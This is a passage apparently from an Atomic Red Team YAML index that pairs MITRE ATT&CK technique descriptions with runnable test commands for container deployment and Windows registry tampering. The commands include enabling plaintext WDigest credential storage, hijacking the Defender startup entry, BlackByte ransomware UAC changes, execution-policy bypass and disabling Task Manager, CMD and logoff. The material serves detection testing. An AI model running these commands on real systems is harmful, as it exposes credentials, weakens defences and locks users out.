      auto_generated_guid: bb6b51e1-ab92-45b5-aeea-e410d06405f8
      description: Allows adversaries to subvert trust controls by modifying the code
        signing policy, enabling the execution of unsigned drivers.
      supported_platforms:
      - windows
      executor:
        command: bcdedit /set testsigning on
        cleanup_command: bcdedit /set testsigning off
        name: command_prompt
        elevation_required: true
  T1610:
    technique:
      modified: '2024-04-11T21:24:42.680Z'
      name: Deploy a container
      description: |-
        Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)

        Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - Pawan Kinger, @kingerpawan, Trend Micro
      - Alfredo Oliveira, Trend Micro
      - Idan Frimark, Cisco
      - Center for Threat-Informed Defense (CTID)
      - Magno Logan, @magnologan, Trend Micro
      - Ariel Shuper, Cisco
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      - Joas Antonio dos Santos, @C0d3Cr4zy
      x_mitre_deprecated: false
      x_mitre_detection: Monitor for suspicious or unknown container images and pods
        in your environment. Deploy logging agents on Kubernetes nodes and retrieve
        logs from sidecar proxies for application pods to detect malicious activity
        at the cluster level. In Docker, the daemon log provides insight into remote
        API calls, including those that deploy containers. Logs for management services
        or applications used to deploy containers other than the native technologies
        themselves should also be monitored.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Container: Container Start'
      - 'Application Log: Application Log Content'
      - 'Pod: Pod Creation'
      - 'Container: Container Creation'
      - 'Pod: Pod Modification'
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92
      created: '2021-03-29T16:51:26.020Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1610
        external_id: T1610
      - source_name: AppSecco Kubernetes Namespace Breakout 2020
        description: Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout
          using Insecure Host Path Volume — Part 1. Retrieved January 16, 2024.
        url: https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216
      - source_name: Aqua Build Images on Hosts
        description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building
          Malicious Images on Your Hosts. Retrieved March 29, 2021.'
        url: https://blog.aquasec.com/malicious-container-image-docker-container-host
      - source_name: Docker Containers API
        description: Docker. (n.d.). Docker Engine API v1.41 Reference - Container.
          Retrieved March 29, 2021.
        url: https://docs.docker.com/engine/api/v1.41/#tag/Container
      - source_name: Kubernetes Workload Management
        description: Kubernetes. (n.d.). Workload Management. Retrieved March 28,
          2024.
        url: https://kubernetes.io/docs/concepts/workloads/controllers/
      - source_name: Kubeflow Pipelines
        description: The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines.
          Retrieved March 29, 2021.
        url: https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/
      - source_name: Kubernetes Dashboard
        description: The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard).
          Retrieved March 29, 2021.
        url: https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1610
    atomic_tests:
    - name: Deploy Docker container
      auto_generated_guid: 59aa6f26-7620-417e-9318-589e0fb7a372
      description: "Adversaries may deploy containers based on retrieved or built
        malicious images or from benign images that download and execute malicious
        payloads at runtime. They can do this using docker create and docker start
        commands. Kinsing & Doki was exploited using this technique. \n"
      supported_platforms:
      - containers
      dependency_executor_name: sh
      dependencies:
      - description: Verify docker is installed.
        prereq_command: 'which docker

          '
        get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not
          Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker
          ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else
          echo "Docker installed"; fi

          '
      - description: Verify docker service is running.
        prereq_command: 'sudo systemctl status docker  --no-pager

          '
        get_prereq_command: 'sudo systemctl start docker

          '
      executor:
        command: |
          docker build -t t1610 $PathtoAtomicsFolder/T1610/src/
          docker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh
        name: bash
        cleanup_command: "docker stop t1610_container\ndocker rmi -f t1610:latest
          \n"
  T1112:
    technique:
      modified: '2023-08-14T19:19:54.148Z'
      name: Modify Registry
      description: |-
        Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.

        Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

        Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

        The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Bartosz Jerzman
      - Travis Smith, Tripwire
      - David Lu, Tripwire
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.

        Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

        Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: OS API Execution'
      - 'Network Traffic: Network Traffic Flow'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Deletion'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      type: attack-pattern
      id: attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4
      created: '2017-05-31T21:31:23.587Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1112
        external_id: T1112
      - source_name: Microsoft Reg
        description: Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.
        url: https://technet.microsoft.com/en-us/library/cc732643.aspx
      - source_name: Microsoft Remote
        description: Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved
          May 1, 2015.
        url: https://technet.microsoft.com/en-us/library/cc754820.aspx
      - source_name: Microsoft 4657 APR 2017
        description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry
          value was modified. Retrieved August 9, 2018.'
        url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657
      - source_name: SpectorOps Hiding Reg Jul 2017
        description: Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect.
          Retrieved August 9, 2018.
        url: https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353
      - source_name: Microsoft Reghide NOV 2006
        description: Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved
          August 9, 2018.
        url: https://docs.microsoft.com/sysinternals/downloads/reghide
      - source_name: Microsoft RegDelNull July 2016
        description: Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11.
          Retrieved August 10, 2018.
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull
      - source_name: TrendMicro POWELIKS AUG 2014
        description: 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows
          Registry. Retrieved August 9, 2018.'
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1112
    atomic_tests:
    - name: Modify Registry of Current User Profile - cmd
      auto_generated_guid: 1324796b-d0f6-455a-b4ae-21ffee6aa6b9
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message "The operation completed successfully."
        will be displayed. Additionally, open Registry Editor to view the new entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced.
      supported_platforms:
      - windows
      executor:
        command: 'reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
          /t REG_DWORD /v HideFileExt /d 1 /f

          '
        cleanup_command: 'reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
          /v HideFileExt /f >nul 2>&1

          '
        name: command_prompt
    - name: Modify Registry of Local Machine - cmd
      auto_generated_guid: 282f929a-6bc5-42b8-bd93-960c3ba35afe
      description: |
        Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup.  This should only be possible when
        CMD is ran as Administrative rights. Upon execution, the message "The operation completed successfully."
        will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\Software\Microsoft\Windows\CurrentVersion\Run.
      supported_platforms:
      - windows
      input_arguments:
        new_executable:
          description: New executable to run on startup instead of Windows Defender
          type: string
          default: calc.exe
      executor:
        command: 'reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
          /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f

          '
        cleanup_command: 'reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
          /v SecurityHealth /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Modify registry to store logon credentials
      auto_generated_guid: c0413fb5-33e2-40b7-9b6f-60b29f4a7a18
      description: |
        Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
        Upon execution, the message "The operation completed successfully." will be displayed.
        Additionally, open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
      supported_platforms:
      - windows
      executor:
        command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
          /v UseLogonCredential /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
          /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Use Powershell to Modify registry to store logon credentials
      auto_generated_guid: 68254a85-aa42-4312-a695-38b7276307f8
      description: |
        Sets registry key using Powershell that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
        Open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
      supported_platforms:
      - windows
      executor:
        command: 'Set-ItemProperty -Force -Path  ''HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest''
          -Name  ''UseLogonCredential'' -Value ''1'' -ErrorAction Ignore

          '
        cleanup_command: 'Set-ItemProperty -Force -Path  ''HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest''
          -Name  ''UseLogonCredential'' -Value ''0'' -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Add domain to Trusted sites Zone
      auto_generated_guid: cf447677-5a4e-4937-a82c-e47d254afd57
      description: |
        Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365.
        Upon execution, details of the new registry entries will be displayed.
        Additionally, open Registry Editor to view the modified entry in HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\.

        https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf
      supported_platforms:
      - windows
      input_arguments:
        bad_domain:
          description: Domain to add to trusted site zone
          type: string
          default: bad-domain.com
      executor:
        command: |
          $key= "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\"
          $name ="bad-subdomain"
          new-item $key -Name $name -Force
          new-itemproperty $key$name -Name https -Value 2 -Type DWORD;
          new-itemproperty $key$name -Name http  -Value 2 -Type DWORD;
          new-itemproperty $key$name -Name *     -Value 2 -Type DWORD;
        cleanup_command: |
          $key = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\"
          Remove-item  $key -Recurse -ErrorAction Ignore
        name: powershell
    - name: Javascript in registry
      auto_generated_guid: 15f44ea9-4571-4837-be9e-802431a7bfae
      description: |
        Upon execution, a javascript block will be placed in the registry for persistence.
        Additionally, open Registry Editor to view the modified entry in HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings.
      supported_platforms:
      - windows
      executor:
        command: 'New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet
          Settings" -Name T1112 -Value "<script>"

          '
        cleanup_command: 'Remove-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet
          Settings" -Name T1112 -ErrorAction Ignore

          '
        name: powershell
    - name: Change Powershell Execution Policy to Bypass
      auto_generated_guid: f3a6cceb-06c9-48e5-8df8-8867a6814245
      description: |
        Attackers need to change the powershell execution policy in order to run their malicious powershell scripts.
        They can either specify it during the execution of the powershell script or change the registry value for it.
      supported_platforms:
      - windows
      input_arguments:
        default_execution_policy:
          description: Specify the default poweshell execution policy
          type: string
          default: Default
      executor:
        command: 'Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine

          '
        cleanup_command: 'try { Set-ExecutionPolicy -ExecutionPolicy #{default_execution_policy}
          -Scope LocalMachine -Force } catch {}

          '
        name: powershell
    - name: BlackByte Ransomware Registry Changes - CMD
      auto_generated_guid: 4f4e2f9f-6209-4fcf-9b15-3b7455706f5b
      description: |
        This task recreates the steps taken by BlackByte ransomware before it worms to other machines.  See "Preparing to Worm" section: https://redcanary.com/blog/blackbyte-ransomware/
        The steps are as follows:
        <ol>
            <li>1. Elevate Local Privilege by disabling UAC Remote Restrictions</li>
            <li>2. Enable OS to share network connections between different privilege levels</li>
            <li>3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths</li>
        </ol>
        The registry keys and their respective values will be created upon successful execution.
      supported_platforms:
      - windows
      executor:
        command: |
          cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
          cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
          cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f
        cleanup_command: |
          reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v LocalAccountTokenFilterPolicy /f >nul 2>&1
          reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLinkedConnections /f >nul 2>&1
          reg delete HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\ /v LongPathsEnabled /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: BlackByte Ransomware Registry Changes - Powershell
      auto_generated_guid: 0b79c06f-c788-44a2-8630-d69051f1123d
      description: |
        This task recreates the steps taken by BlackByte ransomware before it worms to other machines via Powershell.  See "Preparing to Worm" section: https://redcanary.com/blog/blackbyte-ransomware/
        The steps are as follows:
        <ol>
            <li>1. Elevate Local Privilege by disabling UAC Remote Restrictions</li>
            <li>2. Enable OS to share network connections between different privilege levels</li>
            <li>3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths</li>
        </ol>
        The registry keys and their respective values will be created upon successful execution.
      supported_platforms:
      - windows
      executor:
        command: |
          New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name LocalAccountTokenFilterPolicy -PropertyType DWord -Value 1 -Force
          New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name EnableLinkedConnections -PropertyType DWord -Value 1 -Force
          New-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem" -Name LongPathsEnabled -PropertyType DWord -Value 1 -Force
        cleanup_command: |
          Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name LocalAccountTokenFilterPolicy -Force -ErrorAction Ignore
          Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name EnableLinkedConnections -Force -ErrorAction Ignore
          Remove-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem" -Name LongPathsEnabled -Force -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Disable Windows Registry Tool
      auto_generated_guid: ac34b0f7-0f85-4ac0-b93e-3ced2bc69bb8
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows registry tool to prevent user modifying registry entry.
        See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
      supported_platforms:
      - windows
      executor:
        command: 'reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system
          /v DisableRegistryTools /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'powershell Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\policies\system"
          -Name DisableRegistryTools -ErrorAction Ignore

          '
        name: command_prompt
        elevation_required: true
    - name: Disable Windows CMD application
      auto_generated_guid: d2561a6d-72bd-408c-b150-13efe1801c2a
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows CMD application.
        See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
      supported_platforms:
      - windows
      executor:
        command: 'New-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\System"
          -Name DisableCMD -Value 1

          '
        cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\System"
          -Name DisableCMD -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Disable Windows Task Manager application
      auto_generated_guid: af254e70-dd0e-4de6-9afe-a994d9ea8b62
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows task manager application.
        See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"
          /v DisableTaskmgr /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"
          /v DisableTaskmgr /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Disable Windows Notification Center
      auto_generated_guid: c0d6d67f-1f63-42cc-95c0-5fd6b20082ad
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows notification center.
        See how remcos rat abuses this technique- https://tccontre.blogspot.com/2020/01/remcos-rat-evading-windows-defender-av.html
      supported_platforms:
      - windows
      executor:
        command: 'reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer
          /v DisableNotificationCenter /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer
          /v DisableNotificationCenter /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Disable Windows Shutdown Button
      auto_generated_guid: 6e0d1131-2d7e-4905-8ca5-d6172f05d03d
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows shutdown button.
        See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom.msil.screenlocker.a/
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"
          /v shutdownwithoutlogon /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg delete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"
          /v shutdownwithoutlogon /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Disable Windows LogOff Button
      auto_generated_guid: e246578a-c24d-46a7-9237-0213ff86fb0c
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows logoff button.
        See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/be/threat-encyclopedia/search/js_noclose.e/2
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogOff /t REG_DWORD /d 1 /f
          reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartMenuLogOff /t REG_DWORD /d 1 /f
        cleanup_command: |
          reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogOff /f >nul 2>&1
          reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartMenuLogOff /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Disable Windows Change Password Feature
      auto_generated_guid: d4a6da40-618f-454d-9a9e-26af552aaeb0
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows change password feature.
        See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom_heartbleed.thdobah
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"
          /v DisableChangePassword /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"
          /v DisableChangePassword /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Disable Windows Lock Workstation Feature
      auto_generated_guid: 3dacb0d2-46ee-4c27-ac1b-f9886bf91a56
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows Lock workstation feature.
        See how ransomware abuses this technique- https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"
          /v DisableLockWorkstation /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"
          /v DisableLockWorkstation /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Activate Windows NoDesktop Group Policy Feature
      auto_generated_guid: 93386d41-525c-4a1b-8235-134a628dee17
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to hide all icons on Desktop Group Policy. \nTake note that
        some Group Policy changes might require a restart to take effect.\nSee how
        Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoDesktop /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoDesktop /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Activate Windows NoRun Group Policy Feature
      auto_generated_guid: d49ff3cc-8168-4123-b5b3-f057d9abbd55
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to Remove Run menu from Start Menu Group Policy.
        Take note that some Group Policy changes might require a restart to take effect.
        See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoRun /t REG_DWORD /d 1 /f

          '
        cleanup_command: "reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\"
          /v NoRun /f \n"
        name: command_prompt
        elevation_required: true
    - name: Activate Windows NoFind Group Policy Feature
      auto_generated_guid: ffbb407e-7f1d-4c95-b22e-548169db1fbd
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to Remove Search menu from Start Menu Group Policy.
        Take note that some Group Policy changes might require a restart to take effect.
        See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoFind /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoFind /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Activate Windows NoControlPanel Group Policy Feature
      auto_generated_guid: a450e469-ba54-4de1-9deb-9023a6111690
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to Disable Control Panel Group Policy. \nTake note that some
        Group Policy changes might require a restart to take effect.\nSee how Trojan
        abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoControlPanel /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoControlPanel /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Activate Windows NoFileMenu Group Policy Feature
      auto_generated_guid: 5e27bdb4-7fd9-455d-a2b5-4b4b22c9dea4
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to Remove File menu from Windows Explorer Group Policy. \nTake
        note that some Group Policy changes might require a restart to take effect.\nSee
        how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoFileMenu /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
